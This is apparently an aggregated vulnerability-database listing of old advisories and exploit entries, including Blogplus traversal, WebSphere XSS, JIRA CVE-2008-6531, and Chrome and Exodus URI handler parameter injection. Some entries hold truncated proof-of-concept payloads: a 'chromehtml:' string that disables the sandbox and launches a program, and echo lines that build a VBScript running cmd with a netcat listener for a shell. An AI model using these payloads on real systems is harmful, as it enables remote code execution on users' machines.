Directory traversal

Multiple directory traversal vulnerabilities in Blogplus 1.0 allow remote attackers to include and execute arbitrary local files via a .. dot dot in the 1 rowmysqlblockscenterdownfile parameter to includes/blockcenterdown.php; 2 rowmysqlblockscentertopfile includes/parameter to blockcentertop.php...

[DSECRG-09-013] IBM WebSphere Application Server 7.0 Multiple XSS Vulnerabilities

Digital Security Research Group DSecRG Advisory DSECRG-09-013 !!! official advisory: !!! http://dsecrg.com/pages/vul/DSECRG-09-013.html Application: IBM WebSphere Application Server Versions Affected: 7.0 and 6.1 Vendor URL: http://www.ibm.com/websphere/ Bug: Multiple XSS Vulnerabilities Exploits...

Design/Logic Flaw

The WebWork 1 web application framework in Atlassian JIRA before 3.13.2 allows remote attackers to invoke exposed public JIRA methods via a crafted URL that is dynamically transformed into method calls, aka "WebWork 1 Parameter Injection Hole."...

CVE-2008-6531

The WebWork 1 web application framework in Atlassian JIRA before 3.13.2 allows remote attackers to invoke exposed public JIRA methods via a crafted URL that is dynamically transformed into method calls, aka "WebWork 1 Parameter Injection Hole."...

CVE-2008-6531

Affected software: Atlassian Jira (

CVE-2008-6531: Improper Control of Generation of Code

The WebWork 1 web application framework in Atlassian JIRA before 3.13.2 allows remote attackers to invoke exposed public JIRA methods via a crafted URL that is dynamically transformed into method calls, aka "WebWork 1 Parameter Injection Hole."...

Google Chrome 1.0.154.46 (ChromeHTML://) Parameter Injection PoC

No description provided by source. Try this: chromehtml:"%20--renderer-path="calc"%20--no-sandbox Disabling sandbox does matter : Tested with Google Chrome Chrome 1.0.154.46 on Win XP/Vista and IE6/IE7 and it works ... Full PoC: htmlheadtitleChrome URI Handler Remote Command Execution...

Google Chrome code execution

chromehtml: URI parameter injection...

Re: Re: Google Chrome Browser (ChromeHTML://) remote parameter injection POC

Try this: chromehtml:"20--renderer-path="calc"20--no-sandbox Disabling sandbox does matter : Tested with Google Chrome Chrome 1.0.154.46 on Win XP/Vista and IE6/IE7 and it works ... Full PoC: htmlheadtitleChrome URI Handler Remote Command Execution PoC/title/head body h3This is a test/h3 iframe...

Google Chrome 1.0.154.46 (ChromeHTML://) Parameter Injection PoC

Exploit for unknown platform in category remote exploits ================================================================ Google Chrome 1.0.154.46 ChromeHTML:// Parameter Injection PoC ================================================================ Try this:...

Google Chrome Parameter Injection

click me...

Internet Explorer 'chromeHTML://'命令行参数注入漏洞

BUGTRAQ ID: 32999 Internet Explorer是一款流行的WEB浏览器。 Internet Explorer不正确处理用户输入，远程攻击者可以利用漏洞通过协议处理器注入命令行参数，造成以登录用户上下文执行任意代码。 问题是处理'chromeHTML://'协议存在问题，构建恶意WEB页，诱使用户访问可触发此漏洞。 Microsoft Internet Explorer 8 beta 2 目前没有解决方案提供： http://www.microsoft.com/ie/ !-- Google Chrome Browser ChromeHTML:// remote...

Google Chrome Browser (ChromeHTML://) Remote Parameter Injection

No description provided by source. !-- Google Chrome Browser ChromeHTML:// remote parameter injection POC by Nine:Situations:Group::bellick&strawdog Site: http://retrogod.altervista.org/ tested against: Internet Explorer 8 beta 2, Google Chrome 1.0.154.36, Microsoft Windows XP SP3 List of command...

Google Chrome Browser (ChromeHTML://) Remote Parameter Injection

Exploit for unknown platform in category remote exploits ================================================================ Google Chrome Browser ChromeHTML:// Remote Parameter Injection ================================================================ 0day.today 2018-03-01...

Google Chrome - 'ChromeHTML://' Remote Parameter Injection

click me milw0rm.com 2008-12-23...

Google Chrome - ChromeHTML: Remote Parameter Injection

Google Chrome - ChromeHTML: Remote Parameter Injection click me milw0rm.com 2008-12-23...

Exodus 0.10 (uri handler) Arbitrary Parameter Injection Exploit

No description provided by source. !-- Exodus v0.10 remote code execution exploit by Nine:Situations:Group::strawdog This uses the "-l" argument to overwrite a file inside Microsoft Help and Support Center folders oh rgod... Firstly run netcat in listen mode to drop the vbscript shell run this...

Exodus 0.10 - URI Handler Arbitrary Parameter Injection (2)

Exodus 0.10 - URI Handler Arbitrary Parameter Injection 2 testfile echo Dim wshShell testfile echo Set wshShell = CreateObject"WScript.Shell" testfile echo wshShell.Run"cmd /c start calc" testfile echo ^ testfile nc -L -s 192.168.0.1 -p 5222 -vv click me click me milw0rm.com 2008-11-20...

Exodus 0.10 (uri handler) Arbitrary Parameter Injection Exploit

Exploit for unknown platform in category remote exploits =============================================================== Exodus 0.10 uri handler Arbitrary Parameter Injection Exploit =============================================================== testfile echo Dim wshShell testfile echo Set...

Exodus 0.10 - URI Handler Arbitrary Parameter Injection (2)

testfile echo Dim wshShell testfile echo Set wshShell = CreateObject"WScript.Shell" testfile echo wshShell.Run"cmd /c start calc" testfile echo ^ testfile nc -L -s 192.168.0.1 -p 5222 -vv click me click me milw0rm.com 2008-11-20...